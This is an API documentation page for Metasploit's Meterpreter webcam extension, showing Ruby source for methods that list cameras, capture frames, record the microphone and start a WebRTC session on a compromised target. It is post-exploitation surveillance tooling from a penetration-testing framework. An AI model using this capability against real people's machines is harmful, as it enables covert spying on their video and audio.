Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam

Inherits:
Object
  • Object
show all
Includes:
Msf::Post::Common, Msf::Post::File, Msf::Post::WebRTC
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb

Overview

This meterpreter extension can list and capture from webcams and/or microphone

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Webcam

Returns a new instance of Webcam.



23
24
25
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 23

def initialize(client)
  @client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client.



89
90
91
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 89

def client
  @client
end

Instance Method Details

#record_mic(duration) ⇒ Object

Record from default audio source for duration seconds; returns a low-quality wav file



82
83
84
85
86
87
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 82

def record_mic(duration)
  request = Packet.create_request('webcam_audio_record')
  request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
end

#sessionObject



27
28
29
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 27

def session
  @client
end

#webcam_chat(server) ⇒ Object

Starts a webcam session with a remote user via WebRTC

Parameters:

  • server (String)

    A server to use for the channel.

Returns:

  • void



66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 66

def webcam_chat(server)
  offerer_id = Rex::Text.rand_text_alphanumeric(10)
  channel    = Rex::Text.rand_text_alphanumeric(20)

  remote_browser_path = get_webrtc_browser_path

  if remote_browser_path.blank?
    raise RuntimeError, "Unable to find a suitable browser on the target machine"
  end

  ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
  connect_video_chat(server, channel, offerer_id)
end

#webcam_get_frame(quality) ⇒ Object



48
49
50
51
52
53
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 48

def webcam_get_frame(quality)
  request = Packet.create_request('webcam_get_frame')
  request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
end

#webcam_listObject



31
32
33
34
35
36
37
38
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 31

def webcam_list
  response = client.send_request(Packet.create_request('webcam_list'))
  names = []
  response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
    names << tlv.value
  }
  names
end

#webcam_start(cam) ⇒ Object

Starts recording video from video source of index cam



41
42
43
44
45
46
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 41

def webcam_start(cam)
  request = Packet.create_request('webcam_start')
  request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
  client.send_request(request)
  true
end

#webcam_stopObject



55
56
57
58
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 55

def webcam_stop
  client.send_request( Packet.create_request( 'webcam_stop' )  )
  true
end